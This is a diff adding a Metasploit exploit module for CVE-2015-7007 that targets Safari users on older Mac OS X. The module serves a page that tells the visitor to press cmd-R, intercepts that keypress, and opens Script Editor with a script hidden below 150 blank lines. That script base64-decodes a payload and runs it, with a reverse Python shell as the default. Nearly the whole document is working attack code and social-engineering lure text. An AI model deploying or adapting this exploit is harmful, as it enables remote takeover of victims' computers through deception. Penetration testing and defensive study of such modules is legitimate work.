|
| 1 | +## |
| 2 | +# This module requires Metasploit: http://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +require 'msf/core' |
| 7 | + |
| 8 | +class Metasploit3 < Msf::Exploit::Remote |
| 9 | + Rank = ManualRanking |
| 10 | + |
| 11 | + include Msf::Exploit::EXE |
| 12 | + include Msf::Exploit::Remote::BrowserExploitServer |
| 13 | + |
| 14 | + def initialize(info = {}) |
| 15 | + super(update_info(info, |
| 16 | + 'Name' => 'Safari User-Assisted Applescript Exec Attack', |
| 17 | + 'Description' => %q{ |
| 18 | + In versions of Mac OS X before 10.11.1, the applescript:// URL |
| 19 | + scheme is provided, which opens the provided script in the Applescript |
| 20 | + Editor. Pressing cmd-R in the Editor executes the code without any |
| 21 | + additional confirmation from the user. By getting the user to press |
| 22 | + cmd-R in Safari, and by hooking the cmd-key keypress event, a user |
| 23 | + can be tricked into running arbitrary Applescript code. |
| 24 | +
|
| 25 | + Gatekeeper should be disabled from Security & Privacy in order to |
| 26 | + avoid the unidentified Developer prompt. |
| 27 | + }, |
| 28 | + 'License' => MSF_LICENSE, |
| 29 | + 'Arch' => ARCH_CMD, |
| 30 | + 'Platform' => ['unix', 'osx'], |
| 31 | + 'Compat' => |
| 32 | + { |
| 33 | + 'PayloadType' => 'cmd' |
| 34 | + }, |
| 35 | + 'Targets' => |
| 36 | + [ |
| 37 | + [ 'Mac OS X', {} ] |
| 38 | + ], |
| 39 | + 'DefaultOptions' => { 'payload' => 'cmd/unix/reverse_python' }, |
| 40 | + 'DefaultTarget' => 0, |
| 41 | + 'DisclosureDate' => 'Oct 16 2015', |
| 42 | + 'Author' => [ 'joev' ], |
| 43 | + 'References' => |
| 44 | + [ |
| 45 | + [ 'CVE', '2015-7007' ], |
| 46 | + [ 'URL', 'https://support.apple.com/en-us/HT205375' ] |
| 47 | + ], |
| 48 | + 'BrowserRequirements' => { |
| 49 | + :source => 'script', |
| 50 | + :ua_name => HttpClients::SAFARI, |
| 51 | + :os_name => OperatingSystems::Match::MAC_OSX |
| 52 | + } |
| 53 | + )) |
| 54 | + |
| 55 | + register_options([ |
| 56 | + OptString.new('CONTENT', [false, "Content to display in browser", |
| 57 | + "This page has failed to load. Press cmd-R to refresh."]), |
| 58 | + OptString.new('WritableDir', [true, 'Writable directory', '/.Trashes']) |
| 59 | + ], self.class) |
| 60 | + end |
| 61 | + |
| 62 | + def on_request_exploit(cli, request, profile) |
| 63 | + print_status("Sending #{self.name}") |
| 64 | + send_response_html(cli, exploit_html) |
| 65 | + end |
| 66 | + |
| 67 | + def exploit_html |
| 68 | + "<!doctype html><html><body>#{content}<script>#{exploit_js}</script></body></html>" |
| 69 | + end |
| 70 | + |
| 71 | + def exploit_js |
| 72 | + js_obfuscate %Q| |
| 73 | + var as = Array(150).join("\\n") + |
| 74 | + 'do shell script "echo #{Rex::Text.encode_base64(sh)} \| base64 --decode \| /bin/sh"'; |
| 75 | + var url = 'applescript://com.apple.scripteditor?action=new&script='+encodeURIComponent(as); |
| 76 | + window.onkeydown = function(e) { |
| 77 | + if (e.keyCode == 91) { |
| 78 | + window.location = url; |
| 79 | + } |
| 80 | + }; |
| 81 | + | |
| 82 | + end |
| 83 | + |
| 84 | + def sh |
| 85 | + 'killall "Script Editor"; nohup ' + payload.encoded |
| 86 | + end |
| 87 | + |
| 88 | + def content |
| 89 | + datastore['CONTENT'] |
| 90 | + end |
| 91 | + |
| 92 | + |
| 93 | +end |
0 commit comments